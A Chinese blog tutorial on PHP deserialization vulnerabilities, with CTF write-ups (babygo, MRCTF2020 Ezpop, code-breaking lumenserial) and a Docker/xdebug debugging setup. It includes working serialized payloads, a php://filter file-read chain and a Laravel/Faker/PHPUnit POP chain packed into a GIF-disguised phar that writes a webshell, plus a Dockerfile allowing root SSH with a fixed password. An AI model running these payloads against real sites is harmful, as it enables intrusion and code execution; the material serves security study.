这篇文章发表于 817 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

本文是关于PHP反序列化的简单入门,其实好吧其中一些内容对入门而言也不简单了。

反序列化漏洞基础

该部分内容部分参考了此文章

1
2
3
4
5
6
7
8
9
10
11
12
__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//用于从不可访问的属性读取数据 #难以访问还包括:(1)私有属性,(2)没有初始化的属性
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。
解决方法:php输出的时候urlencode()或者用python burp等修改hex。

另外,对于wakeup()绕过(wakeup()函数在反序列化时会被自动调用):当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过wakeup()函数的执行;也可以增加在数目方面加三,在字串前面加上\0*\0来实现完美绕过(条件:php<=5.6.24)。

几个例子

安恒月赛 babygo

修改后的题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("ss.php");
}
?>

这里的危险函数是file_get_contents,先观察cool类,发现这里需要调用read函数,并且需要绕过$this->nice->aaa === $this->nice->bbb的判断,所以这里必须进行绕过。然后我们思考哪里导致了对cool类的调用。

于是发现baby类中存在着__toString()方法,这里必须将$this->skyobj替换为cool,因为sec没有任何前途。所以已经发现了入口。

这里先谈谈如何实现绕过。因为不知道$sth的内容,故可以利用指针来实现绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;
}
function __toString()
{
if (isset($this->skyobj))
{
return $this->skyobj->read();
}
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
$a = new baby();
$a->bbb =&$a->aaa;
echo urlencode(serialize($a));
// O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

这里的输出便是$amzing的payload内容,能够绕过那个判断。然后是最终的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename="./flag.php";
public $nice;
public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D';
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
$a=new baby();
echo urlencode(serialize($a));
// O%3A4%3A"baby"%3A3%3A%7Bs%3A9%3A"%00%2A%00skyobj"%3BO%3A4%3A"cool"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A10%3A".%2Fflag.php"%3Bs%3A4%3A"nice"%3BN%3Bs%3A6%3A"amzing"%3Bs%3A227%3A"O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D"%3B%7Ds%3A3%3A"aaa"%3BN%3Bs%3A3%3A"bbb"%3BN%3B%7D

最后的urlencode编码是为了防止protected会导致的出错。

[MRCTF2020]Ezpop

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 <?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

POP链思路:

1、这里的Modifier类中的include是利用点,由于直接include(flag.php)不可能显示内容,故需要使用filter来完成读取。再看这个类,__invoke()无疑是可以用来触发append完成攻击的,所以要想办法在其他地方完成将Modifier当做函数的调用。

2、然后发现了Test类中的__get()方法对函数的调用,而该方法是对需要我们去访问Test中不可访问的属性才能够触发的,那么我们该怎么利用才能进入到这个function中呢?

3、观察Show类。这里的__wakeup()是触发反序列化的入口点,还有一个preg_match,其中还使用了$this->source

4、又看见Show类中的__toString()方法,这里面有一个$this->str->source,所以关键就在这里了。如果将$this->str=new Test(),那么里面没有source属性,也就完成了对Test中不可访问属性的访问。怎么调用这个方法?就是依靠第三点。

据此,给出payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=./flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

$a = new Show();
$a->source = new Show(); // $Show->source=new Show(),导致其被视作字符串
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
// O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D.%2Fflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

本题最大的困惑点在于对__toString()方法的触发,对此给出两张调试时候的图片供参考。

调试时第一次触发wakeup方法,下一步并没有步入到toString之中,而是在结束后再次触发wakeup

3捕获

第二次wakeup之后直接步入到toString之中。从变量来看,$this->source被视为了一个字符串才导致出现了该状况。

4捕获

l3m0n师傅的一则

具体不放出来了,参看这两篇文章即可。

https://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html

http://redteam.today/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/

code-breaking-2018 lumenserial

这题是让我写这篇文章的直接原因。源码位于此处,如果需要在docker容器中进行xdebug远程调试,可以参看本人补充部分。

首先使用seay源码审计系统扫一遍高危函数,发现在/app/Http/Controllers/EditorController.php中存在着file_get_contents函数。

5捕获

这里选中download,然后ctrl+b直接找到download被调用的位置。

6捕获

这里可以继续进行搜索,然后发现了catcherFieldName这里可以通过GET参数source进行提交,这里观察上图代码可以发现source的类型为数组。

看起来已经将拼图完成了大半,但是我们并不知道究竟在哪里能够让这部分代码得到使用。这时搜索EditorController关键词,发现了入口。

8捕获

也就是我们只要GET或者是POST对应的参数到/server/editor即可。那么,现在我们应该已经有能力完成一部分比较低价值的操作了,下一个问题就是——能不能做到getshell呢?

这里得提一点,就是file_get_contentsunlink等函数参数可控的情况下,我们可以配合phar协议来实现反序列化操作,强烈推荐此文章。于是接下来开始寻找POP链。

参见该文章:这里提到了之前的四种构造方法,每一种第一步都是都是__destruct()方法。所以这里也从这个方法开始寻找可利用的POP链。

于是在/vendor/illuminate/broadcasting/PendingBroadcast.php找到了destruct方法,而且我们惊喜地发现$event$events都是可控的。

9捕获

于是这里出现了两条思路,我们可以选择令$this->events=__call()来完成命令执行,也可以找到含有dispatch的类再进行相关的操作。我们选择第一种方法。按网上的writeup来看,/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php里面的利用比较简单。

10捕获

call_user_func_array以及call_user_func两个函数非常引人注目。

1
2
$res = call_user_func_array(array($this->generator, $name), $arguments);
call_user_func($this->validator, $res)

观察其中的参数,发现$generator$validator可控,要是有能力控制住$name$arguments或者直接控制住$res,我们就能够完成危险操作。网上的writeup是想办法控制住$res,也就是call_user_func_array的返回结果。于是找到了/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php,如下图,这里的$default可控,并且能够返回。

11捕获

但是call_user_func并不能完成getshell操作。因为这里需要我们通过最好能够利用类似于这样的命令来写马call_user_func_array('file_put_contents',array('shell.php','shell_command'))。这就需要寻找这个call_user_func_array函数。根据writeup提到了/vendor/phpunit/phpunit/srcFramework/MockObject/Stub/ReturnCallback.php里面的比较容易利用。

12捕获

这里的$callback可控,其次我们需要知道$invocation到底可不可控。搜索后发现了/phpunit/phpunit/src/MockObject/Invocation这个文件夹。

13捕获

进入之后发现了其中Invocation.php的代码。

14捕获

其中的array就是我们想要的,接着继续搜索。

15捕获

可控。于是POP链形成了。建议从最后再往前梳理一遍,不要嫌麻烦。借用安全客这张图再次复述一遍。

t01aa174a2165e93c22

这里ReturnCallbackPendingBroadcastStaticInvocation部分比较好理解。中间ValidGeneratorDefaultGenerator以及ReturnCallback的联系可能需要再讲解下:在攻击后,这里的$this->validator确切来说是invoke,那个call_user_func($this->validator,$res)就相当于invoke($res),而这里的$res也就是图片底部的数组。

这里可能讲的还是差了一点。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
namespace Illuminate\Broadcasting {
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}

namespace Faker {
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct($generator, $validator = null, $maxRetries = 10000)
{
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}

class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace PHPUnit\Framework\MockObject\Stub {
use PHPUnit\Framework\MockObject\Invocation;
use PHPUnit\Framework\MockObject\Stub;
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
}

namespace PHPUnit\Framework\MockObject\Invocation {
use PHPUnit\Framework\MockObject\Generator;
use PHPUnit\Framework\MockObject\Invocation;
use PHPUnit\Framework\SelfDescribing;
use ReflectionObject;
use SebastianBergmann\Exporter\Exporter;
class StaticInvocation
{
private $parameters;
public function __construct(array $parameters)
{
$this->parameters = $parameters;
}
}
}

namespace {
$function = 'file_put_contents';
$parameters = array('/var/www/html/upload/shell.php', '<?php $_POST[\'a\'];?>');
$invocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$return = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$default = new Faker\DefaultGenerator($invocation);
$valid = new Faker\ValidGenerator($default, array($return, 'invoke'), 100);
$obj = new Illuminate\Broadcasting\PendingBroadcast($valid, 1);
$o = $obj;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>

修改phar后缀,然后作为图片上传。之后访问如下URL即可完成写马:http://target.utl/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/7f71db41b6fc7bad32ff47dcdc31195b/202007/12/6fd04760a8d702ff0fa9.gif

其实还有办法完成POP链的构造,这里略。

对审计环境搭建的补充

该部分和上面知识无关,但是没一个像样的审计环境会大大阻碍自己的发展,尤其是找类似于利用链条的时候。

这里使用的是PHPstorm+xdebug的方式完成的。主要针对的是code-breakinglaravel,这题为了减少不必要的安装,直接使用了原题的docker,导致不得不进行远程的调试。以该题为例,这里说几句。

首先是要解决在docker内部安装sshxdebug。其次是本地的配置以及端口映射。

以下是经过本人修改后的Dockerfiledocker-composer.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
FROM php:7.2-apache

LABEL maintainer="phithon <root@leavesongs.com>"

RUN set -ex \
&& sed -i 's/deb.debian.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list \
&& apt-get update && apt-get install -y \
libfreetype6-dev \
libjpeg62-turbo-dev \
libpng-dev \
libzip-dev \
&& docker-php-ext-install -j$(nproc) iconv zip pdo_mysql mysqli \
&& docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \
&& docker-php-ext-install -j$(nproc) gd

RUN set -ex \
&& cd / \
&& mkdir -p /var/lib/php/sessions \
&& chown www-data:www-data -R /var/lib/php/sessions \
&& rm -rf /var/www/* \
&& a2enmod rewrite

COPY cat/ /var/www/

RUN set -ex \
&& cd / \
&& apt-get install -y openssh-server \
&& apt-get install git -y \
&& curl -s https://getcomposer.org/installer \
| php -- --install-dir=/usr/local/bin --filename=composer \
&& chmod +x /usr/local/bin/composer \
&& cd /var/www \
&& composer update

RUN set -ex \
&& apt-get install -y wget \
&& apt-get install -y vim \
&& sed -i 's/UsePAM yes/UsePAM no/g' /etc/ssh/sshd_config && sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config && echo 'root:rootpass5d' | chpasswd \
&& wget http://xdebug.org/files/xdebug-2.9.6.tgz \
&& cd /var/www \
&& mkdir html/upload/ \
&& chown root:root -R . \
&& chmod 0755 -R . \
&& chown www-data:www-data -R storage/app/ storage/framework/cache/ storage/framework/views/ storage/logs/ html/upload/

EXPOSE 22
1
2
3
4
5
6
7
8
9
10
11
12
13
version: '3'
services:
web:
build: .
env_file:
- ./envfile
ports:
- "23453:80"
- "25432:22"
- "25555:9109"
volumes:
- ./sandbox.ini:/usr/local/etc/php/conf.d/sandbox.ini
- ./flag_larave1_b0ne:/var/www/flag_larave1_b0ne

然后是一些关于xdebug的安装命令,

1
2
3
4
5
6
tar -xvzf xdebug-2.9.6.tgz 
cd xdebug-2.9.6
phpize
./configure
make
cp modules/xdebug.so /usr/local/lib/php/extensions/no-debug-non-zts-20170718

接着是php.ini的配置。由于本地并没有php.ini,这里的操作需要注意一下。

1
2
3
4
5
6
7
8
9
10
11
12
[XDebug]
zend_extension = /usr/local/lib/php/extensions/no-debug-non-zts-20170718/xdebug.so
xdebug.remote_enable=1
xdebug.remote_port=9001
xdebug.remote_host=127.0.0.1
xdebug.remote_log=/var/log/php-xdebug.log
xdebug.idekey="PHPSTORM"

# 将其cp为php.ini
# php --ini
# php -m
# /etc/init.d/apache2 restart

开启ssh

1
/etc/init.d/ssh start

剩下的配置参看这两篇文章:这个这个。我给出部分配图供参考。

捕获

1捕获

2捕获